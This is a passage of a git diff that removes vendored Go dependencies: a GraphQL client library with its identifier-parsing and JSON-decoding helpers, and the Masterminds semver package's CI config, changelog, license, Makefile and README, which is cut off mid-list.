-func (c *Client) Query(ctx context.Context, q interface{}, variables map[string]interface{}) error { - return c.do(ctx, queryOperation, q, variables) -} - -// Mutate executes a single GraphQL mutation request, -// with a mutation derived from m, populating the response into it. -// m should be a pointer to struct that corresponds to the GraphQL schema. -func (c *Client) Mutate(ctx context.Context, m interface{}, variables map[string]interface{}) error { - return c.do(ctx, mutationOperation, m, variables) -} - -// do executes a single GraphQL operation. -func (c *Client) do(ctx context.Context, op operationType, v interface{}, variables map[string]interface{}) (err error) { - var query string - switch op { - case queryOperation: - query = constructQuery(v, variables) - case mutationOperation: - query = constructMutation(v, variables) - default: - return fmt.Errorf("unknown operationType, got %v", op) - } - - var ( - req *http.Request - resp *http.Response - ) - switch op { - case queryOperation: - if req, err = http.NewRequest("GET", c.url, nil); err != nil { - return err - } - - var buf bytes.Buffer - err := json.NewEncoder(&buf).Encode(variables) - if err != nil { - return err - } - q := req.URL.Query() - q.Add("query", query) - q.Add("variables", buf.String()) - req.URL.RawQuery = q.Encode() - case mutationOperation: - in := struct { - Query string `json:"query"` - Variables map[string]interface{} `json:"variables,omitempty"` - }{ - Query: query, - Variables: variables, - } - var buf bytes.Buffer - err := json.NewEncoder(&buf).Encode(in) - if err != nil { - return err - } - if req, err = http.NewRequest("POST", c.url, &buf); err != nil { - return err - } - } - - // set cookies and headers - var k, val string - for k, val = range c.headers { - req.Header.Set(k, val) - } - for k, val = range c.cookies { - req.AddCookie(&http.Cookie{Name: k, Value: val}) - } - - if resp, err = c.httpClient.Do(req.WithContext(ctx)); err != nil { - return err - } - - defer resp.Body.Close() - if resp.StatusCode != http.StatusOK { - body, _ := ioutil.ReadAll(resp.Body) - return fmt.Errorf("non-200 OK status code: %v body: %q", resp.Status, body) - } - var out struct { - Data *json.RawMessage - Errors errors - //Extensions interface{} // Unused. - } - err = json.NewDecoder(resp.Body).Decode(&out) - if err != nil { - // TODO: Consider including response body in returned error, if deemed helpful. - return err - } - if out.Data != nil { - err := jsonutil.UnmarshalGraphQL(*out.Data, v) - if err != nil { - // TODO: Consider including response body in returned error, if deemed helpful. - return err - } - } - if len(out.Errors) > 0 { - return out.Errors - } - return nil -} - -// errors represents the "errors" array in a response from a GraphQL server. -// If returned via error interface, the slice is expected to contain at least 1 element. -// -// Specification: https://facebook.github.io/graphql/#sec-Errors. -type errors []struct { - Message string - Locations []struct { - Line int - Column int - } -} - -// Error implements error interface. -func (e errors) Error() string { - return e[0].Message -} - -type operationType uint8 - -const ( - queryOperation operationType = iota - mutationOperation - //subscriptionOperation // Unused. -) diff --git a/vendor/github.com/Laisky/graphql/ident/ident.go b/vendor/github.com/Laisky/graphql/ident/ident.go deleted file mode 100644 index 29e498ed9e..0000000000 --- a/vendor/github.com/Laisky/graphql/ident/ident.go +++ /dev/null @@ -1,240 +0,0 @@ -// Package ident provides functions for parsing and converting identifier names -// between various naming convention. It has support for MixedCaps, lowerCamelCase, -// and SCREAMING_SNAKE_CASE naming conventions. -package ident - -import ( - "strings" - "unicode" - "unicode/utf8" -) - -// ParseMixedCaps parses a MixedCaps identifier name. -// -// E.g., "ClientMutationID" -> {"Client", "Mutation", "ID"}. -func ParseMixedCaps(name string) Name { - var words Name - - // Split name at any lower -> Upper or Upper -> Upper,lower transitions. - // Check each word for initialisms. - runes := []rune(name) - w, i := 0, 0 // Index of start of word, scan. - for i+1 <= len(runes) { - eow := false // Whether we hit the end of a word. - if i+1 == len(runes) { - eow = true - } else if unicode.IsLower(runes[i]) && unicode.IsUpper(runes[i+1]) { - // lower -> Upper. - eow = true - } else if i+2 < len(runes) && unicode.IsUpper(runes[i]) && unicode.IsUpper(runes[i+1]) && unicode.IsLower(runes[i+2]) { - // Upper -> Upper,lower. End of acronym, followed by a word. - eow = true - - if string(runes[i:i+3]) == "IDs" { // Special case, plural form of ID initialism. - eow = false - } - } - i++ - if !eow { - continue - } - - // [w, i) is a word. - word := string(runes[w:i]) - if initialism, ok := isInitialism(word); ok { - words = append(words, initialism) - } else if i1, i2, ok := isTwoInitialisms(word); ok { - words = append(words, i1, i2) - } else { - words = append(words, word) - } - w = i - } - return words -} - -// ParseLowerCamelCase parses a lowerCamelCase identifier name. -// -// E.g., "clientMutationId" -> {"client", "Mutation", "Id"}. -func ParseLowerCamelCase(name string) Name { - var words Name - - // Split name at any Upper letters. - runes := []rune(name) - w, i := 0, 0 // Index of start of word, scan. - for i+1 <= len(runes) { - eow := false // Whether we hit the end of a word. - if i+1 == len(runes) { - eow = true - } else if unicode.IsUpper(runes[i+1]) { - // Upper letter. - eow = true - } - i++ - if !eow { - continue - } - - // [w, i) is a word. - words = append(words, string(runes[w:i])) - w = i - } - return words -} - -// ParseScreamingSnakeCase parses a SCREAMING_SNAKE_CASE identifier name. -// -// E.g., "CLIENT_MUTATION_ID" -> {"CLIENT", "MUTATION", "ID"}. -func ParseScreamingSnakeCase(name string) Name { - var words Name - - // Split name at '_' characters. - runes := []rune(name) - w, i := 0, 0 // Index of start of word, scan. - for i+1 <= len(runes) { - eow := false // Whether we hit the end of a word. - if i+1 == len(runes) { - eow = true - } else if runes[i+1] == '_' { - // Underscore. - eow = true - } - i++ - if !eow { - continue - } - - // [w, i) is a word. - words = append(words, string(runes[w:i])) - if i < len(runes) && runes[i] == '_' { - // Skip underscore. - i++ - } - w = i - } - return words -} - -// Name is an identifier name, broken up into individual words. -type Name []string - -// ToMixedCaps expresses identifer name in MixedCaps naming convention. -// -// E.g., "ClientMutationID". -func (n Name) ToMixedCaps() string { - for i, word := range n { - if strings.EqualFold(word, "IDs") { // Special case, plural form of ID initialism. - n[i] = "IDs" - continue - } - if initialism, ok := isInitialism(word); ok { - n[i] = initialism - continue - } - if brand, ok := isBrand(word); ok { - n[i] = brand - continue - } - r, size := utf8.DecodeRuneInString(word) - n[i] = string(unicode.ToUpper(r)) + strings.ToLower(word[size:]) - } - return strings.Join(n, "") -} - -// ToLowerCamelCase expresses identifer name in lowerCamelCase naming convention. -// -// E.g., "clientMutationId". -func (n Name) ToLowerCamelCase() string { - for i, word := range n { - if i == 0 { - n[i] = strings.ToLower(word) - continue - } - r, size := utf8.DecodeRuneInString(word) - n[i] = string(unicode.ToUpper(r)) + strings.ToLower(word[size:]) - } - return strings.Join(n, "") -} - -// isInitialism reports whether word is an initialism. -func isInitialism(word string) (string, bool) { - initialism := strings.ToUpper(word) - _, ok := initialisms[initialism] - return initialism, ok -} - -// isTwoInitialisms reports whether word is two initialisms. -func isTwoInitialisms(word string) (string, string, bool) { - word = strings.ToUpper(word) - for i := 2; i <= len(word)-2; i++ { // Shortest initialism is 2 characters long. - _, ok1 := initialisms[word[:i]] - _, ok2 := initialisms[word[i:]] - if ok1 && ok2 { - return word[:i], word[i:], true - } - } - return "", "", false -} - -// initialisms is the set of initialisms in the MixedCaps naming convention. -// Only add entries that are highly unlikely to be non-initialisms. -// For instance, "ID" is fine (Freudian code is rare), but "AND" is not. -var initialisms = map[string]struct{}{ - // These are the common initialisms from golint. Keep them in sync - // with https://gotools.org/github.com/golang/lint#commonInitialisms. - "ACL": {}, - "API": {}, - "ASCII": {}, - "CPU": {}, - "CSS": {}, - "DNS": {}, - "EOF": {}, - "GUID": {}, - "HTML": {}, - "HTTP": {}, - "HTTPS": {}, - "ID": {}, - "IP": {}, - "JSON": {}, - "LHS": {}, - "QPS": {}, - "RAM": {}, - "RHS": {}, - "RPC": {}, - "SLA": {}, - "SMTP": {}, - "SQL": {}, - "SSH": {}, - "TCP": {}, - "TLS": {}, - "TTL": {}, - "UDP": {}, - "UI": {}, - "UID": {}, - "UUID": {}, - "URI": {}, - "URL": {}, - "UTF8": {}, - "VM": {}, - "XML": {}, - "XMPP": {}, - "XSRF": {}, - "XSS": {}, - - // Additional common initialisms. - "RSS": {}, -} - -// isBrand reports whether word is a brand. -func isBrand(word string) (string, bool) { - brand, ok := brands[strings.ToLower(word)] - return brand, ok -} - -// brands is the map of brands in the MixedCaps naming convention; -// see https://dmitri.shuralyov.com/idiomatic-go#for-brands-or-words-with-more-than-1-capital-letter-lowercase-all-letters. -// Key is the lower case version of the brand, value is the canonical brand spelling. -// Only add entries that are highly unlikely to be non-brands. -var brands = map[string]string{ - "github": "GitHub", -} diff --git a/vendor/github.com/Laisky/graphql/internal/jsonutil/graphql.go b/vendor/github.com/Laisky/graphql/internal/jsonutil/graphql.go deleted file mode 100644 index 15bae246fd..0000000000 --- a/vendor/github.com/Laisky/graphql/internal/jsonutil/graphql.go +++ /dev/null @@ -1,311 +0,0 @@ -// Package jsonutil provides a function for decoding JSON -// into a GraphQL query data structure. -package jsonutil - -import ( - "bytes" - "encoding/json" - "errors" - "fmt" - "io" - "reflect" - "strings" -) - -// UnmarshalGraphQL parses the JSON-encoded GraphQL response data and stores -// the result in the GraphQL query data structure pointed to by v. -// -// The implementation is created on top of the JSON tokenizer available -// in "encoding/json".Decoder. -func UnmarshalGraphQL(data []byte, v interface{}) error { - dec := json.NewDecoder(bytes.NewReader(data)) - dec.UseNumber() - err := (&decoder{tokenizer: dec}).Decode(v) - if err != nil { - return err - } - tok, err := dec.Token() - switch err { - case io.EOF: - // Expect to get io.EOF. There shouldn't be any more - // tokens left after we've decoded v successfully. - return nil - case nil: - return fmt.Errorf("invalid token '%v' after top-level value", tok) - default: - return err - } -} - -// decoder is a JSON decoder that performs custom unmarshaling behavior -// for GraphQL query data structures. It's implemented on top of a JSON tokenizer. -type decoder struct { - tokenizer interface { - Token() (json.Token, error) - } - - // Stack of what part of input JSON we're in the middle of - objects, arrays. - parseState []json.Delim - - // Stacks of values where to unmarshal. - // The top of each stack is the reflect.Value where to unmarshal next JSON value. - // - // The reason there's more than one stack is because we might be unmarshaling - // a single JSON value into multiple GraphQL fragments or embedded structs, so - // we keep track of them all. - vs [][]reflect.Value -} - -// Decode decodes a single JSON value from d.tokenizer into v. -func (d *decoder) Decode(v interface{}) error { - rv := reflect.ValueOf(v) - if rv.Kind() != reflect.Ptr { - return fmt.Errorf("cannot decode into non-pointer %T", v) - } - d.vs = [][]reflect.Value{{rv.Elem()}} - return d.decode() -} - -// decode decodes a single JSON value from d.tokenizer into d.vs. -func (d *decoder) decode() error { - // The loop invariant is that the top of each d.vs stack - // is where we try to unmarshal the next JSON value we see. - for len(d.vs) > 0 { - tok, err := d.tokenizer.Token() - if err == io.EOF { - return errors.New("unexpected end of JSON input") - } else if err != nil { - return err - } - - switch { - - // Are we inside an object and seeing next key (rather than end of object)? - case d.state() == '{' && tok != json.Delim('}'): - key, ok := tok.(string) - if !ok { - return errors.New("unexpected non-key in JSON input") - } - someFieldExist := false - for i := range d.vs { - v := d.vs[i][len(d.vs[i])-1] - if v.Kind() == reflect.Ptr { - v = v.Elem() - } - var f reflect.Value - if v.Kind() == reflect.Struct { - f = fieldByGraphQLName(v, key) - if f.IsValid() { - someFieldExist = true - } - } - d.vs[i] = append(d.vs[i], f) - } - if !someFieldExist { - return fmt.Errorf("struct field for %q doesn't exist in any of %v places to unmarshal", key, len(d.vs)) - } - - // We've just consumed the current token, which was the key. - // Read the next token, which should be the value, and let the rest of code process it. - tok, err = d.tokenizer.Token() - if err == io.EOF { - return errors.New("unexpected end of JSON input") - } else if err != nil { - return err - } - - // Are we inside an array and seeing next value (rather than end of array)? - case d.state() == '[' && tok != json.Delim(']'): - someSliceExist := false - for i := range d.vs { - v := d.vs[i][len(d.vs[i])-1] - if v.Kind() == reflect.Ptr { - v = v.Elem() - } - var f reflect.Value - if v.Kind() == reflect.Slice { - v.Set(reflect.Append(v, reflect.Zero(v.Type().Elem()))) // v = append(v, T). - f = v.Index(v.Len() - 1) - someSliceExist = true - } - d.vs[i] = append(d.vs[i], f) - } - if !someSliceExist { - return fmt.Errorf("slice doesn't exist in any of %v places to unmarshal", len(d.vs)) - } - } - - switch tok := tok.(type) { - case string, json.Number, bool, nil: - // Value. - - for i := range d.vs { - v := d.vs[i][len(d.vs[i])-1] - if !v.IsValid() { - continue - } - err := unmarshalValue(tok, v) - if err != nil { - return err - } - } - d.popAllVs() - - case json.Delim: - switch tok { - case '{': - // Start of object. - - d.pushState(tok) - - frontier := make([]reflect.Value, len(d.vs)) // Places to look for GraphQL fragments/embedded structs. - for i := range d.vs { - v := d.vs[i][len(d.vs[i])-1] - frontier[i] = v - // TODO: Do this recursively or not? Add a test case if needed. - if v.Kind() == reflect.Ptr && v.IsNil() { - v.Set(reflect.New(v.Type().Elem())) // v = new(T). - } - } - // Find GraphQL fragments/embedded structs recursively, adding to frontier - // as new ones are discovered and exploring them further. - for len(frontier) > 0 { - v := frontier[0] - frontier = frontier[1:] - if v.Kind() == reflect.Ptr { - v = v.Elem() - } - if v.Kind() != reflect.Struct { - continue - } - for i := 0; i < v.NumField(); i++ { - if isGraphQLFragment(v.Type().Field(i)) || v.Type().Field(i).Anonymous { - // Add GraphQL fragment or embedded struct. - d.vs = append(d.vs, []reflect.Value{v.Field(i)}) - frontier = append(frontier, v.Field(i)) - } - } - } - case '[': - // Start of array. - - d.pushState(tok) - - for i := range d.vs { - v := d.vs[i][len(d.vs[i])-1] - // TODO: Confirm this is needed, write a test case. - //if v.Kind() == reflect.Ptr && v.IsNil() { - // v.Set(reflect.New(v.Type().Elem())) // v = new(T). - //} - - // Reset slice to empty (in case it had non-zero initial value). - if v.Kind() == reflect.Ptr { - v = v.Elem() - } - if v.Kind() != reflect.Slice { - continue - } - v.Set(reflect.MakeSlice(v.Type(), 0, 0)) // v = make(T, 0, 0). - } - case '}', ']': - // End of object or array. - d.popAllVs() - d.popState() - default: - return errors.New("unexpected delimiter in JSON input") - } - default: - return errors.New("unexpected token in JSON input") - } - } - return nil -} - -// pushState pushes a new parse state s onto the stack. -func (d *decoder) pushState(s json.Delim) { - d.parseState = append(d.parseState, s) -} - -// popState pops a parse state (already obtained) off the stack. -// The stack must be non-empty. -func (d *decoder) popState() { - d.parseState = d.parseState[:len(d.parseState)-1] -} - -// state reports the parse state on top of stack, or 0 if empty. -func (d *decoder) state() json.Delim { - if len(d.parseState) == 0 { - return 0 - } - return d.parseState[len(d.parseState)-1] -} - -// popAllVs pops from all d.vs stacks, keeping only non-empty ones. -func (d *decoder) popAllVs() { - var nonEmpty [][]reflect.Value - for i := range d.vs { - d.vs[i] = d.vs[i][:len(d.vs[i])-1] - if len(d.vs[i]) > 0 { - nonEmpty = append(nonEmpty, d.vs[i]) - } - } - d.vs = nonEmpty -} - -// fieldByGraphQLName returns an exported struct field of struct v -// that matches GraphQL name, or invalid reflect.Value if none found. -func fieldByGraphQLName(v reflect.Value, name string) reflect.Value { - for i := 0; i < v.NumField(); i++ { - if v.Type().Field(i).PkgPath != "" { - // Skip unexported field. - continue - } - if hasGraphQLName(v.Type().Field(i), name) { - return v.Field(i) - } - } - return reflect.Value{} -} - -// hasGraphQLName reports whether struct field f has GraphQL name. -func hasGraphQLName(f reflect.StructField, name string) bool { - value, ok := f.Tag.Lookup("graphql") - if !ok { - // TODO: caseconv package is relatively slow. Optimize it, then consider using it here. - //return caseconv.MixedCapsToLowerCamelCase(f.Name) == name - return strings.EqualFold(f.Name, name) - } - value = strings.TrimSpace(value) // TODO: Parse better. - if strings.HasPrefix(value, "...") { - // GraphQL fragment. It doesn't have a name. - return false - } - if i := strings.Index(value, "("); i != -1 { - value = value[:i] - } - if i := strings.Index(value, ":"); i != -1 { - value = value[:i] - } - return strings.TrimSpace(value) == name -} - -// isGraphQLFragment reports whether struct field f is a GraphQL fragment. -func isGraphQLFragment(f reflect.StructField) bool { - value, ok := f.Tag.Lookup("graphql") - if !ok { - return false - } - value = strings.TrimSpace(value) // TODO: Parse better. - return strings.HasPrefix(value, "...") -} - -// unmarshalValue unmarshals JSON value into v. -// v must be addressable and not obtained by the use of unexported -// struct fields, otherwise unmarshalValue will panic. -func unmarshalValue(value json.Token, v reflect.Value) error { - b, err := json.Marshal(value) // TODO: Short-circuit (if profiling says it's worth it). - if err != nil { - return err - } - return json.Unmarshal(b, v.Addr().Interface()) -} diff --git a/vendor/github.com/Laisky/graphql/query.go b/vendor/github.com/Laisky/graphql/query.go deleted file mode 100644 index 34423e9951..0000000000 --- a/vendor/github.com/Laisky/graphql/query.go +++ /dev/null @@ -1,131 +0,0 @@ -package graphql - -import ( - "bytes" - "encoding/json" - "io" - "reflect" - "sort" - - "github.com/Laisky/graphql/ident" -) - -func constructQuery(v interface{}, variables map[string]interface{}) string { - query := query(v) - if len(variables) > 0 { - return "query(" + queryArguments(variables) + ")" + query - } - return query -} - -func constructMutation(v interface{}, variables map[string]interface{}) string { - query := query(v) - if len(variables) > 0 { - return "mutation(" + queryArguments(variables) + ")" + query - } - return "mutation" + query -} - -// queryArguments constructs a minified arguments string for variables. -// -// E.g., map[string]interface{}{"a": Int(123), "b": NewBoolean(true)} -> "$a:Int!$b:Boolean". -func queryArguments(variables map[string]interface{}) string { - // Sort keys in order to produce deterministic output for testing purposes. - // TODO: If tests can be made to work with non-deterministic output, then no need to sort. - keys := make([]string, 0, len(variables)) - for k := range variables { - keys = append(keys, k) - } - sort.Strings(keys) - - var buf bytes.Buffer - for _, k := range keys { - io.WriteString(&buf, "$") - io.WriteString(&buf, k) - io.WriteString(&buf, ":") - writeArgumentType(&buf, reflect.TypeOf(variables[k]), true) - // Don't insert a comma here. - // Commas in GraphQL are insignificant, and we want minified output. - // See https://facebook.github.io/graphql/October2016/#sec-Insignificant-Commas. - } - return buf.String() -} - -// writeArgumentType writes a minified GraphQL type for t to w. -// value indicates whether t is a value (required) type or pointer (optional) type. -// If value is true, then "!" is written at the end of t. -func writeArgumentType(w io.Writer, t reflect.Type, value bool) { - if t.Kind() == reflect.Ptr { - // Pointer is an optional type, so no "!" at the end of the pointer's underlying type. - writeArgumentType(w, t.Elem(), false) - return - } - - switch t.Kind() { - case reflect.Slice, reflect.Array: - // List. E.g., "[Int]". - io.WriteString(w, "[") - writeArgumentType(w, t.Elem(), true) - io.WriteString(w, "]") - default: - // Named type. E.g., "Int". - name := t.Name() - if name == "string" { // HACK: Workaround for https://github.com/shurcooL/githubv4/issues/12 - name = "ID" - } - io.WriteString(w, name) - } - - if value { - // Value is a required type, so add "!" to the end. - io.WriteString(w, "!") - } -} - -// query uses writeQuery to recursively construct -// a minified query string from the provided struct v. -// -// E.g., struct{Foo Int, BarBaz *Boolean} -> "{foo,barBaz}". -func query(v interface{}) string { - var buf bytes.Buffer - writeQuery(&buf, reflect.TypeOf(v), false) - return buf.String() -} - -// writeQuery writes a minified query for t to w. -// If inline is true, the struct fields of t are inlined into parent struct. -func writeQuery(w io.Writer, t reflect.Type, inline bool) { - switch t.Kind() { - case reflect.Ptr, reflect.Slice: - writeQuery(w, t.Elem(), false) - case reflect.Struct: - // If the type implements json.Unmarshaler, it's a scalar. Don't expand it. - if reflect.PtrTo(t).Implements(jsonUnmarshaler) { - return - } - if !inline { - io.WriteString(w, "{") - } - for i := 0; i < t.NumField(); i++ { - if i != 0 { - io.WriteString(w, ",") - } - f := t.Field(i) - value, ok := f.Tag.Lookup("graphql") - inlineField := f.Anonymous && !ok - if !inlineField { - if ok { - io.WriteString(w, value) - } else { - io.WriteString(w, ident.ParseMixedCaps(f.Name).ToLowerCamelCase()) - } - } - writeQuery(w, f.Type, inlineField) - } - if !inline { - io.WriteString(w, "}") - } - } -} - -var jsonUnmarshaler = reflect.TypeOf((*json.Unmarshaler)(nil)).Elem() diff --git a/vendor/github.com/Laisky/graphql/scalar.go b/vendor/github.com/Laisky/graphql/scalar.go deleted file mode 100644 index 306ecc45a9..0000000000 --- a/vendor/github.com/Laisky/graphql/scalar.go +++ /dev/null @@ -1,51 +0,0 @@ -package graphql - -// Note: These custom types are meant to be used in queries for now. -// But the plan is to switch to using native Go types (string, int, bool, time.Time, etc.). -// See https://github.com/Laisky/githubv4/issues/9 for details. -// -// These custom types currently provide documentation, and their use -// is required for sending outbound queries. However, native Go types -// can be used for unmarshaling. Once https://github.com/Laisky/githubv4/issues/9 -// is resolved, native Go types can completely replace these. - -type ( - // Boolean represents true or false values. - Boolean bool - - // Float represents signed double-precision fractional values as - // specified by IEEE 754. - Float float64 - - // ID represents a unique identifier that is Base64 obfuscated. It - // is often used to refetch an object or as key for a cache. The ID - // type appears in a JSON response as a String; however, it is not - // intended to be human-readable. When expected as an input type, - // any string (such as "VXNlci0xMA==") or integer (such as 4) input - // value will be accepted as an ID. - ID interface{} - - // Int represents non-fractional signed whole numeric values. - // Int can represent values between -(2^31) and 2^31 - 1. - Int int32 - - // String represents textual data as UTF-8 character sequences. - // This type is most often used by GraphQL to represent free-form - // human-readable text. - String string -) - -// NewBoolean is a helper to make a new *Boolean. -func NewBoolean(v Boolean) *Boolean { return &v } - -// NewFloat is a helper to make a new *Float. -func NewFloat(v Float) *Float { return &v } - -// NewID is a helper to make a new *ID. -func NewID(v ID) *ID { return &v } - -// NewInt is a helper to make a new *Int. -func NewInt(v Int) *Int { return &v } - -// NewString is a helper to make a new *String. -func NewString(v String) *String { return &v } diff --git a/vendor/github.com/Masterminds/semver/.travis.yml b/vendor/github.com/Masterminds/semver/.travis.yml deleted file mode 100644 index 3d9ebadb93..0000000000 --- a/vendor/github.com/Masterminds/semver/.travis.yml +++ /dev/null @@ -1,27 +0,0 @@ -language: go - -go: - - 1.6.x - - 1.7.x - - 1.8.x - - 1.9.x - - 1.10.x - - tip - -# Setting sudo access to false will let Travis CI use containers rather than -# VMs to run the tests. For more details see: -# - http://docs.travis-ci.com/user/workers/container-based-infrastructure/ -# - http://docs.travis-ci.com/user/workers/standard-infrastructure/ -sudo: false - -script: - - make setup - - make test - -notifications: - webhooks: - urls: - - https://webhooks.gitter.im/e/06e3328629952dabe3e0 - on_success: change # options: [always|never|change] default: always - on_failure: always # options: [always|never|change] default: always - on_start: never # options: [always|never|change] default: always diff --git a/vendor/github.com/Masterminds/semver/CHANGELOG.md b/vendor/github.com/Masterminds/semver/CHANGELOG.md deleted file mode 100644 index b888e20aba..0000000000 --- a/vendor/github.com/Masterminds/semver/CHANGELOG.md +++ /dev/null @@ -1,86 +0,0 @@ -# 1.4.2 (2018-04-10) - -## Changed -- #72: Updated the docs to point to vert for a console appliaction -- #71: Update the docs on pre-release comparator handling - -## Fixed -- #70: Fix the handling of pre-releases and the 0.0.0 release edge case - -# 1.4.1 (2018-04-02) - -## Fixed -- Fixed #64: Fix pre-release precedence issue (thanks @uudashr) - -# 1.4.0 (2017-10-04) - -## Changed -- #61: Update NewVersion to parse ints with a 64bit int size (thanks @zknill) - -# 1.3.1 (2017-07-10) - -## Fixed -- Fixed #57: number comparisons in prerelease sometimes inaccurate - -# 1.3.0 (2017-05-02) - -## Added -- #45: Added json (un)marshaling support (thanks @mh-cbon) -- Stability marker. See https://masterminds.github.io/stability/ - -## Fixed -- #51: Fix handling of single digit tilde constraint (thanks @dgodd) - -## Changed -- #55: The godoc icon moved from png to svg - -# 1.2.3 (2017-04-03) - -## Fixed -- #46: Fixed 0.x.x and 0.0.x in constraints being treated as * - -# Release 1.2.2 (2016-12-13) - -## Fixed -- #34: Fixed issue where hyphen range was not working with pre-release parsing. - -# Release 1.2.1 (2016-11-28) - -## Fixed -- #24: Fixed edge case issue where constraint "> 0" does not handle "0.0.1-alpha" - properly. - -# Release 1.2.0 (2016-11-04) - -## Added -- #20: Added MustParse function for versions (thanks @adamreese) -- #15: Added increment methods on versions (thanks @mh-cbon) - -## Fixed -- Issue #21: Per the SemVer spec (section 9) a pre-release is unstable and - might not satisfy the intended compatibility. The change here ignores pre-releases - on constraint checks (e.g., ~ or ^) when a pre-release is not part of the - constraint. For example, `^1.2.3` will ignore pre-releases while - `^1.2.3-alpha` will include them. - -# Release 1.1.1 (2016-06-30) - -## Changed -- Issue #9: Speed up version comparison performance (thanks @sdboyer) -- Issue #8: Added benchmarks (thanks @sdboyer) -- Updated Go Report Card URL to new location -- Updated Readme to add code snippet formatting (thanks @mh-cbon) -- Updating tagging to v[SemVer] structure for compatibility with other tools. - -# Release 1.1.0 (2016-03-11) - -- Issue #2: Implemented validation to provide reasons a versions failed a - constraint. - -# Release 1.0.1 (2015-12-31) - -- Fixed #1: * constraint failing on valid versions. - -# Release 1.0.0 (2015-10-20) - -- Initial release diff --git a/vendor/github.com/Masterminds/semver/LICENSE.txt b/vendor/github.com/Masterminds/semver/LICENSE.txt deleted file mode 100644 index 0da4aeadb0..0000000000 --- a/vendor/github.com/Masterminds/semver/LICENSE.txt +++ /dev/null @@ -1,20 +0,0 @@ -The Masterminds -Copyright (C) 2014-2015, Matt Butcher and Matt Farina - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/github.com/Masterminds/semver/Makefile b/vendor/github.com/Masterminds/semver/Makefile deleted file mode 100644 index a7a1b4e36d..0000000000 --- a/vendor/github.com/Masterminds/semver/Makefile +++ /dev/null @@ -1,36 +0,0 @@ -.PHONY: setup -setup: - go get -u gopkg.in/alecthomas/gometalinter.v1 - gometalinter.v1 --install - -.PHONY: test -test: validate lint - @echo "==> Running tests" - go test -v - -.PHONY: validate -validate: - @echo "==> Running static validations" - @gometalinter.v1 \ - --disable-all \ - --enable deadcode \ - --severity deadcode:error \ - --enable gofmt \ - --enable gosimple \ - --enable ineffassign \ - --enable misspell \ - --enable vet \ - --tests \ - --vendor \ - --deadline 60s \ - ./... || exit_code=1 - -.PHONY: lint -lint: - @echo "==> Running linters" - @gometalinter.v1 \ - --disable-all \ - --enable golint \ - --vendor \ - --deadline 60s \ - ./... || : diff --git a/vendor/github.com/Masterminds/semver/README.md b/vendor/github.com/Masterminds/semver/README.md deleted file mode 100644 index 3e934ed71e..0000000000 --- a/vendor/github.com/Masterminds/semver/README.md +++ /dev/null @@ -1,165 +0,0 @@ -# SemVer - -The `semver` package provides the ability to work with [Semantic Versions](http://semver.org) in Go. Specifically it provides the ability to: - -* Parse semantic versions -* Sort semantic versions -* Check if a semantic version fits within a set of constraints -* Optionally work with a `v` prefix - -[![Stability: -Active](https://masterminds.github.io/stability/active.svg)](https://masterminds.github.io/stability/active.html) -[![Build Status](https://travis-ci.org/Masterminds/semver.svg)](https://travis-ci.org/Masterminds/semver) [![Build status](https://ci.appveyor.com/api/projects/status/jfk66lib7hb985k8/branch/master?svg=true&passingText=windows%20build%20passing&failingText=windows%20build%20failing)](https://ci.appveyor.com/project/mattfarina/semver/branch/master) [![GoDoc](https://godoc.org/github.com/Masterminds/semver?status.svg)](https://godoc.org/github.com/Masterminds/semver) [![Go Report Card](https://goreportcard.com/badge/github.com/Masterminds/semver)](https://goreportcard.com/report/github.com/Masterminds/semver) - -## Parsing Semantic Versions - -To parse a semantic version use the `NewVersion` function. For example, - -```go - v, err := semver.NewVersion("1.2.3-beta.1+build345") -``` - -If there is an error the version wasn't parseable. The version object has methods -to get the parts of the version, compare it to other versions, convert the -version back into a string, and get the original string. For more details -please see the [documentation](https://godoc.org/github.com/Masterminds/semver). - -## Sorting Semantic Versions - -A set of versions can be sorted using the [`sort`](https://golang.org/pkg/sort/) -package from the standard library. For example, - -```go - raw := []string{"1.2.3", "1.0", "1.3", "2", "0.4.2",} - vs := make([]*semver.Version, len(raw)) - for i, r := range raw { - v, err := semver.NewVersion(r) - if err != nil { - t.Errorf("Error parsing version: %s", err) - } - - vs[i] = v - } - - sort.Sort(semver.Collection(vs)) -``` - -## Checking Version Constraints - -Checking a version against version constraints is one of the most featureful -parts of the package. - -```go - c, err := semver.NewConstraint(">= 1.2.3") - if err != nil { - // Handle constraint not being parseable. - } - - v, _ := semver.NewVersion("1.3") - if err != nil { - // Handle version not being parseable. - } - // Check if the version meets the constraints. The a variable will be true. - a := c.Check(v) -``` - -## Basic Comparisons - -There are two elements to the comparisons. First, a comparison string is a list -of comma separated and comparisons. These are then separated by || separated or -comparisons. For example, `">= 1.2, < 3.0.0 || >= 4.2.3"` is looking for a -comparison that's greater than or equal to 1.2 and less than 3.0.0 or is -greater than or equal to 4.2.3. - -The basic comparisons are: - -* `=`: equal (aliased to no operator) -* `!=`: not equal -* `>`: greater than -* `<`: less than -* `>=`: greater than or equal to -* `<=`: less than or equal to - -_Note, according to the Semantic Version specification pre-releases may not be -API compliant with their release counterpart. It says,_ - -> _A pre-release version indicates that the version is unstable and might not satisfy the intended compatibility requirements as denoted by its associated normal version._ - -_SemVer comparisons without a pre-release value will skip pre-release versions. -For example, `>1.2.3` will skip pre-releases when looking at a list of values -while `>1.2.3-alpha.1` will evaluate pre-releases._ - -## Hyphen Range Comparisons - -There are multiple methods to handle ranges and the first is hyphens ranges. -These look like: - -* `1.2 - 1.4.5` which is equivalent to `>= 1.2, <= 1.4.5` -* `2.3.4 - 4.5` which is equivalent to `>= 2.3.4, <= 4.5` - -## Wildcards In Comparisons - -The `x`, `X`, and `*` characters can be used as a wildcard character. This works -for all comparison operators. When used on the `=` operator it falls -back to the pack level comparison (see tilde below). For example, - -* 